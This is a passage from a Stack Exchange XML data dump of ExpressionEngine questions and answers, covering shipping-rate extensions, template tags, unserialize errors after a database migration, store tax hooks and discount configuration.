Day Air - $147.19&#xA; UPS Domestic Next Day Air Saver - $208.57&#xA; UPS Domestic Next Day Air Early AM - $249.86&#xA; UPS Domestic Next Day Air - $216.56&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My issue is with the 4th option - &lt;strong&gt;Fedex Priority Overnight&lt;/strong&gt;. It's showing wrong value and that too lesser than the &lt;strong&gt;Fedex Standard Overnight&lt;/strong&gt; option.&#xA;The actual cost for Fedex priority Overnight should have been around $200.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used the shipping calculator available in the Fedex website for this.&#xA;Ref : &lt;a href=&quot;https://www.fedex.com/ratefinder/standalone?method=goToPackageInfoPage&quot; rel=&quot;nofollow&quot;&gt;https://www.fedex.com/ratefinder/standalone?method=goToPackageInfoPage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shipping calculator was showing the cost as $233 for Fedex priority overnight, which should be the correct cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This clearly shows that there is something wrong with the Fedex Extension. It was wrongly displaying the value as $81, which is much lower than the actual value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From : US&#xA;zip -code : 02339&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To : US&#xA;zip-code : 89423&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No. of packages - 1&#xA;Weight : 28lbs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Package type : Your packaging&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dimensions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Length =&gt; 16&#xA; Width =&gt; 8&#xA; Height =&gt; 8&#xA; Units =&gt; IN&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help me in this.&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2014-09-02T01:52:29.330" Title="Issue with Fedex Extension in Expresso Store" Tags="|expresso-store|expresso|ups-shipping|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21513" PostTypeId="1" AcceptedAnswerId="21522" CreationDate="2014-04-28T18:24:58.010" Score="0" ViewCount="42" Body="&lt;p&gt;I have one entry that has way more views than any other. I cant find it set as a deafult entry anywhere so I dont know how it got so high. I want to manually set it back to a lower number, then see how much it increases in one day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is that view_count_entry amount for an an entry stored?  A db search for teh view count comes up empty...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx!&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-04-28T21:53:17.673" Title="Where are view_counts stored?" Tags="|count|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21514" PostTypeId="1" CreationDate="2014-04-28T19:26:26.597" Score="3" ViewCount="175" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;br&gt;&#xA;The issue seems to be an &lt;code&gt;unserialize()&lt;/code&gt; error. I wasn't getting notified before because CE suppresses error reporting on &lt;code&gt;unserialize&lt;/code&gt; in various places in &lt;code&gt;ft.content_elements.php&lt;/code&gt;. I'm going to keep digging to find out whether this is an EE issue, or what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has run into unserialize issues with EE before, it would be much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original Post&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have content elements rendering the content of entries in my templates. For some reason that I can't isolate, some entries are rendered without any output from the content elements tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, it works just fine on some entries, but renders nothing on some entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the database and there is indeed the appropriate data in the &lt;code&gt;exp_channel_data&lt;/code&gt; table. I've also checked the MySQL and PHP logs for something helpful, but nothing useful seems to be reported. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not even sure exactly where to begin as far as giving helpful code. Would my CE snippet help? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily this problem is only happening in my development environment, so there is a live site with the fishy content we could look at. The other issue is that I noticed this after upgrading various different add-ons and extensions, but even after rolling back the system code (via version control) and resetting my DB to a pre-update version, the issue persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the extensions I'm using and version numbers and all that. Any help or guidance would be greatly appreciated! For example, does EE generate any helpful logs during the template parsing process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.8.1&#xA;Content Elements 1.6.9&#xA;Wygwam 3.3&#xA;Assets 2.3.1&#xA;Low Search 3.1.4&#xA;Low Variables 2.4.2&#xA;Stash 2.4.6&#xA;Structure 3.3.14.4&#xA;Zenbu 1.9.1&#xA;Zoo Flexible Admin 1.81&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others too...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like there is some kind of error during the parsing process so EE bails on generating the data from the DB. I can see it in the table, but it's not showing up on the front end :(.&lt;/p&gt;&#xA;" OwnerUserId="2109" LastEditorUserId="2109" LastEditDate="2014-04-28T21:48:47.700" LastActivityDate="2014-06-28T05:20:29.563" Title="UPDATE Content Elements and issues with unserialize()" Tags="|templates|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21515" PostTypeId="2" ParentId="21510" CreationDate="2014-04-28T20:15:31.570" Score="1" Body="&lt;p&gt;It searches for (some) settings in the control panel. So you could search for &lt;em&gt;file&lt;/em&gt;, and you should get a result/link to the file manager. Similarly, searches for &lt;em&gt;category&lt;/em&gt;, &lt;em&gt;channel&lt;/em&gt;, &lt;em&gt;username&lt;/em&gt; should all return results with links to the respective areas of the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the search results aren't consistent. Search for &lt;em&gt;security&lt;/em&gt; and you don't get any results, yet a search for &lt;em&gt;session&lt;/em&gt; gives a result for the &lt;em&gt;Security and Session Preferences&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say its there for someone who has limited knowledge of EE general options and wants to access some of the preferences, but can't find them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not entirely useful though!&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-04-28T20:15:31.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21516" PostTypeId="2" ParentId="21485" CreationDate="2014-04-28T20:30:33.697" Score="2" Body="&lt;p&gt;I'm pretty certain this isn't possible. Themes have been tried before in Expression Engine, but there's a reason they never really took hold. Quite simply, there are so many different ways to build an EE site and structure the channels, that theming is almost impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Word Press doesn't have a multi-channel approach like EE, hence theming being much easier. If you simply want to provide your client with a theme and a turnkey website, I'd say EE is the wrong platform for what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE really needs to be set up based on your clients requirements then linked to your page templates. From here your client can work with the content using their own &lt;em&gt;bespoke&lt;/em&gt; theme that you would setup for them.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-04-28T20:30:33.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21518" PostTypeId="2" ParentId="21427" CreationDate="2014-04-28T20:57:36.207" Score="2" Body="&lt;p&gt;You could add a dropdown field (call it say, display_on) to your channel with the options &lt;em&gt;Domain 1&lt;/em&gt;, &lt;em&gt;Domain 2&lt;/em&gt;, &lt;em&gt;Domain 1 + 2&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your channel entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; search:display_on=&quot;=Domain 1&quot; site=&quot;domain_1&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; search:display_on=&quot;=Domain 1|Domain 2&quot; site=&quot;domain_1&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also achieve this using categories instead of the dropdown depending on your content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; category=&quot;1&quot; site=&quot;domain_1&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-04-28T20:57:36.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21519" PostTypeId="2" ParentId="21476" CreationDate="2014-04-28T21:11:09.797" Score="2" Body="&lt;p&gt;I'm not sure if template routes would work as I've not had chance to use them yet, but you could achieve it without Structure by using some basic routing in your template (which may be effectively the same as the new template routing functionality).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you could change your template group to &lt;em&gt;room&lt;/em&gt;. Then you could run a conditional on {segment_2} in the index template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2}&#xA;    {embed=&quot;rooms/_room_types&quot;}&#xA;{if:else}&#xA;    {embed=&quot;rooms/_default&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This approach would work, but isn't ideal because of the way embeds and conditionals are parsed in EE - you'd be adding overhead to the server because it would read through both conditions, parsing both your embedded templates before deciding which one it doesn't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could improve the performance by using &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;IfElse&lt;/a&gt; which parses the conditionals differently, and avoid using the embedded templates, instead including your channel entries tags within the index template.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-04-28T21:11:09.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21520" PostTypeId="2" ParentId="21510" CreationDate="2014-04-28T21:17:53.917" Score="1" Body="&lt;p&gt;I'd recommend using &lt;a href=&quot;http://devot-ee.com/add-ons/switchboard&quot; rel=&quot;nofollow&quot;&gt;Switchboard&lt;/a&gt; as I guess it will give you more of the functions and results you'd expect from a search in the CP.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-04-28T21:17:53.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21521" PostTypeId="2" ParentId="21513" CreationDate="2014-04-28T21:23:25.613" Score="2" Body="&lt;p&gt;The hits for templates are stored in the exp_templates table. The column is called &quot;hits&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking though I think that you might get a more accurte idea on where the hits are coming from if you use Google Analytics.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-04-28T21:23:25.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21522" PostTypeId="2" ParentId="21513" CreationDate="2014-04-28T21:53:17.673" Score="1" Body="&lt;p&gt;View counts are stored in the &lt;code&gt;exp_channel_titles&lt;/code&gt; table - &lt;code&gt;view_count_one&lt;/code&gt;, &lt;code&gt;view_count_two&lt;/code&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-28T21:53:17.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21523" PostTypeId="1" AcceptedAnswerId="21560" CreationDate="2014-04-28T22:16:55.243" Score="2" ViewCount="278" Body="&lt;p&gt;I’m creating an AvaTax Tax Calculator extension for Expresso Store utilizing the ‘store_order_taxes’ hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After getting a response from the API,  I'm modifying the value of the tax rate as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$order-&amp;gt;tax_name = $tax_response_object-&amp;gt;TaxLines[0]-&amp;gt;TaxDetails[0]-&amp;gt;TaxName;&#xA;$order-&amp;gt;tax_rate = $tax_response_object-&amp;gt;TaxLines[0]-&amp;gt;Rate;&#xA;$order-&amp;gt;order_tax = $order-&amp;gt;order_total * $order-&amp;gt;tax_rate;&#xA;$order-&amp;gt;order_total = $order-&amp;gt;order_total + $order-&amp;gt;order_tax;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this the correct way to modify these properties? It seems to be working but, to be honest, it seems too easy. It's the first time I've written an Expresso extension (and my first Expresso store) so I'm a bit cautious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help/guidance would be much apprecaited.&lt;/p&gt;&#xA;" OwnerUserId="2390" LastEditorUserId="2390" LastEditDate="2014-05-01T13:16:38.867" LastActivityDate="2014-05-04T23:34:33.437" Title="Expresso Store tax hook help?" Tags="|expresso-store|extension|hook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21524" PostTypeId="1" AcceptedAnswerId="21579" CreationDate="2014-04-28T22:32:07.720" Score="2" ViewCount="275" Body="&lt;p&gt;I'm trying to figure out why the Tool 'Image' function under the RTE module isn't showing up on our front end dashboard. I can easily remove/add other Tools such as 'Underline' or 'Link' and the changes do take place. However, 'Image' will not. I do have it enabled. Am I missing something? Hopefully the images help show you where I am. I appreciate any insight. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DrVLY.png&quot; alt=&quot;RTE Module page, back end&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bns0U.png&quot; alt=&quot;Dashboard RTE, front end&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2902" LastActivityDate="2014-04-30T18:58:55.430" Title="Rich Text Editor image tool not showing up" Tags="|rte|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21526" PostTypeId="2" ParentId="21495" CreationDate="2014-04-29T01:05:33.063" Score="2" Body="&lt;p&gt;I have come across an old safecracker extension that seems like it may be able to be modified for use with channel forms to handle this, as well as also protecting any other fields from being tampered with that are not explicitly allowed by the extension:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/safesharpener&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/safesharpener&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be possible to just try editing the hook name to the new channel_form hook and see if it works.  In my own usage case, I will probably end up rolling my own add-on to replace any public-facing channel forms affected by this issue, as I prefer to limit my dependencies on unsupported add-ons which may break and are likely more difficult to maintain than code I have written myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Field-exclusion and full validation features should really be incorporated into the core channel form module.  I'm somewhat surprised that it hasn't been included, as it is likely a prime target for security problems as many site designers may be lulled into thinking their entry fields and statuses are uneditable when in fact they are quite easily manipulated.  At the very least, the EE docs for channel forms needs to be updated to make sure devs understand that statuses are NOT protected in channel forms and that fields that are not included in the form can still be edited by users with a browser editing tool.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="2842" LastEditDate="2014-04-29T01:30:43.510" LastActivityDate="2014-04-29T01:30:43.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21528" PostTypeId="2" ParentId="21514" CreationDate="2014-04-29T04:10:02.637" Score="1" Body="&lt;p&gt;Well, this was quite frustrating but I hacked together a workaround that at least lets me move forward and will make due for this use case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It seems the issue stems from a database migration.&lt;/strong&gt; I dumped the DB from production and loaded it up locally, which is where the non-render issue presented itself. I was able to force the errant entries back into whatever EE-DB-friendly format is required with the following steps.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Drop this function into the &lt;code&gt;ft.content_elements.php&lt;/code&gt; file (&lt;a href=&quot;https://stackoverflow.com/a/5813058/1461855&quot;&gt;taken from here&lt;/a&gt;):&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mb_unserialize($string) {&#xA;    $string = preg_replace('!s:(\d+):&quot;(.*?)&quot;;!se', &quot;'s:'.strlen('$2').':\&quot;$2\&quot;;'&quot;, $string);&#xA;    return unserialize($string);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Identify the entries that need to be &quot;re-formatted&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do a wildcard search/replace in &lt;code&gt;ft.content_elements.php&lt;/code&gt; for &lt;code&gt;unserialize&lt;/code&gt; with &lt;code&gt;$this-&amp;gt;mb_unserialize&lt;/code&gt;. (&lt;code&gt;:%s/unserialize(/\$this-&amp;gt;mb_unserialize(/&lt;/code&gt; in vim).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load up the entry on the front-end to verify that the multi-byte deserializer is working. If the entry is loading, it should load in EE.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load up the entry edit form in EE. Correct any formatting issues (delete escaped quotation marks, fix hyperlinks, etc.). Save the entry.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Undo your previous changes to &lt;code&gt;ft.content_elements.php&lt;/code&gt;. The entries should load up fine now.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Yeah, definitely not an ideal process, but I am not inclined to go combing through CE's codebase to parse what exactly is going on (for shame!), but hopefully these posts will be properly formatted for future migrations as well.&lt;/p&gt;&#xA;" OwnerUserId="2109" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-04-29T04:10:02.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21529" PostTypeId="1" CreationDate="2014-04-29T07:36:32.653" Score="0" ViewCount="52" Body="&lt;p&gt;Is there a way to secure the Friends forms? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use ssl for the members section and friends is used there as well. &#xA;All friends forms are giving me the non-secure message when trying to submit...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried several options, none of them works. &#xA;Almost thinking to alter the module code to force, only use, ssl&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:friends:message_folder_form &#xA;return=&quot;{current_url}&quot; &#xA;form_class=&quot;form-horizontal&quot; &#xA;form_id=&quot;accounForm&quot; &#xA;secure_action=&quot;yes&quot;  &#xA;secure_return=&quot;yes&quot;}&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;secure_action&quot; value=&quot;yes&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;secure_return&quot; value=&quot;yes&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="394" LastActivityDate="2016-05-02T16:11:48.700" Title="SolSpace friends secure_action" Tags="|solspace|solspace-friends|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21531" PostTypeId="1" CreationDate="2014-04-29T07:56:01.433" Score="2" ViewCount="173" Body="&lt;p&gt;I need to display my cart when the cart button is clicked, allowing the user to update the quantity of the items in his cart using a dropdown list. I can get the amount of items he chose to add to his cart using the {item_qty} tag, but how do I display this in a dropdownlist (with the maximum number as the total in stock)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. if the re are 4 items in stock, the dropdownlist should display options 1 - 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;items[{key}][item_qty]&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;{item_qty}&quot;&amp;gt;{item_qty}&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This displays a dropdownlist with one value (1), but need to display the total in stock.&lt;/p&gt;&#xA;" OwnerUserId="3031" LastActivityDate="2014-04-30T11:30:13.477" Title="Update Quantity In Cart Using Dropdown List" Tags="|expresso-store|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21532" PostTypeId="1" AcceptedAnswerId="21535" CreationDate="2014-04-29T09:34:16.433" Score="2" ViewCount="121" Body="&lt;p&gt;I had &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents channel=&quot;gallery&quot;}&#xA;    {if parents:no_results}Galleries: 0&amp;lt;/a&amp;gt;{/if}&#xA;    {if count &amp;gt;= 1}&#xA;        {if count == total_results}&#xA;        Galleries: &amp;lt;a href=&quot;{site_url}models/profile/{embed:modelid}&quot;&amp;gt;{parents:total_results}&amp;lt;/a&amp;gt;&#xA;        {/if}&#xA;    {/if}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if 3 galleries and 2 videos, it would say  Galleries 3 Videos 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it says Galleries 3 Galleries 3 Galleries 3 Videos 2 Videos 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure EE's realtionships changed...any idea what I need to change it to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="812" LastEditorUserId="55" LastEditDate="2014-04-29T11:22:58.460" LastActivityDate="2014-04-29T11:27:07.833" Title="EE 2.8.1 relationships change" Tags="|relationships|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21533" PostTypeId="1" CreationDate="2014-04-29T09:57:28.093" Score="2" ViewCount="129" Body="&lt;p&gt;I'm using phantomjs via an extension to save a screenshot into an EE file directory, but before it's accessible in the admin area, I need to synchronise files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see anything in the docs for how to go about this, does anyone know if this is possible?&lt;/p&gt;&#xA;" OwnerUserId="2843" LastActivityDate="2015-03-14T23:53:10.510" Title="Synchronise Files programmatically/automatically" Tags="|file-uploads|extension|sync|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21534" PostTypeId="1" CreationDate="2014-04-29T11:00:01.987" Score="1" ViewCount="115" Body="&lt;p&gt;I have set up a vhost in mamp &lt;code&gt;(http://az-cms:8887/)&lt;/code&gt; - and installed expression engine as well as the assets module. I have a directory set up on my local hard drive within the expression engine uploads directory, with all permissions set to read / write. I can successfully upload files via the file manager, but if I attempt to use &quot;assets&quot;, I get the attached errors.&lt;img src=&quot;https://i.stack.imgur.com/AzneF.png&quot; alt=&quot;500 error on upload&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what the problem is? I've looked in the exp_assets_files_folder table of my DB and it's empty, as is the exp_assets_files directory.&lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2014-04-29T11:00:01.987" Title="500 error when attempting to upload images using pixel and tonic assets module on localhost" Tags="|assets|pixelandtonic|file-uploads|localhost|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21535" PostTypeId="2" ParentId="21532" CreationDate="2014-04-29T11:27:07.833" Score="3" Body="&lt;p&gt;You must prefix &lt;em&gt;all&lt;/em&gt; of the variables inside of a &lt;code&gt;parents&lt;/code&gt; tag with &lt;code&gt;parents:&lt;/code&gt;,including  &lt;code&gt;count&lt;/code&gt; and &lt;code&gt;total_results&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have an extra conditional which you don't need - and, note the change in creating the link to use the &lt;code&gt;{path}&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents channel=&quot;gallery&quot;}&#xA;    {if parents:no_results}Galleries: 0{/if}&#xA;    {if parents:count == parents:total_results}&#xA;        Galleries: &amp;lt;a href=&quot;{path=&quot;models/profile/{embed:modelid}&quot;}&quot;&amp;gt;{parents:total_results}&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-29T11:27:07.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21536" PostTypeId="1" AcceptedAnswerId="21694" CreationDate="2014-04-29T13:22:01.863" Score="2" ViewCount="130" Body="&lt;p&gt;I am setting up a site that many different schools around the UK will log into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our client would like to have schools access areas that are normally restricted by login without having to log in by using their known IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin out there that will effectively allow access to certain channels if an IP address matches one in a list (or from a range)? Alternatively, is there a plugin or method for automatically logging in users if their IP address matches one set somewhere in the admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;John. &lt;/p&gt;&#xA;" OwnerUserId="2848" LastActivityDate="2014-06-05T02:58:56.323" Title="Allow un-logged in user access to a specific channel based on IP address" Tags="|members|channel|authentication|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21537" PostTypeId="1" AcceptedAnswerId="21548" CreationDate="2014-04-29T14:07:15.590" Score="0" ViewCount="59" Body="&lt;p&gt;I've set up a couple discounts based on quantity, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buy 2 CD's and get $4.98 off&#xA;Buy 3 CD's and get $14.97 off&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these are triggered by the &quot;If order over&quot; field. However, what seems to be happening is that all the discounts are being applied even if the order minimum is not met.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning... if I have 2 CD's in the cart, BOTH discounts are being applied for a total of $19.97 off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone seen this? Is this a configuration error or a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XqTr6.png&quot; alt=&quot;2 CD Discount&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YnLHh.png&quot; alt=&quot;3 CD discount&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2776" LastActivityDate="2014-04-29T23:07:45.760" Title="CartThrob Discounts being applied incorrectly" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21538" PostTypeId="1" CreationDate="2014-04-29T14:23:42.253" Score="1" ViewCount="159" Body="&lt;p&gt;I have a channel &lt;strong&gt;Retailers&lt;/strong&gt; with channel fields: &lt;strong&gt;Title&lt;/strong&gt;, &lt;strong&gt;Email&lt;/strong&gt;, &lt;strong&gt;Country&lt;/strong&gt;, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front end the visitors on the site can enter information in this channel (if they are retailers) via the &lt;strong&gt;channel form&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;retailers&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The site is still under construction and we want all visitors that are retailers to &quot;register&quot; or enter some data about themself that is going to be later displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to create a &lt;strong&gt;User/Member&lt;/strong&gt; in the backend(using some of the channel form data) after submitting this information in the channel &lt;strong&gt;Retailers&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2909" LastActivityDate="2014-07-29T03:57:33.347" Title="Create User in the backend on channel form submission" Tags="|members|channel|channel-form|registration|users|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21539" PostTypeId="2" ParentId="12372" CreationDate="2014-04-29T14:39:29.160" Score="2" Body="&lt;p&gt;You might check the cache option;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the template, go to preferences and see if &quot;enable caching&quot; is set to &quot;no&quot;. &#xA;When you're done editing simply switch back to &quot;yes&quot; .&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2014-04-29T14:39:29.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21540" PostTypeId="2" ParentId="112" CreationDate="2014-04-29T14:44:12.870" Score="1" Body="&lt;p&gt;For anyone else coming across this, ExpressionEngine 2.8.0 introduced a new config variable for httponly cookies, and it's set to 'yes' by default: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#cookie-httponly-config&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#cookie-httponly-config&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-04-29T14:44:12.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
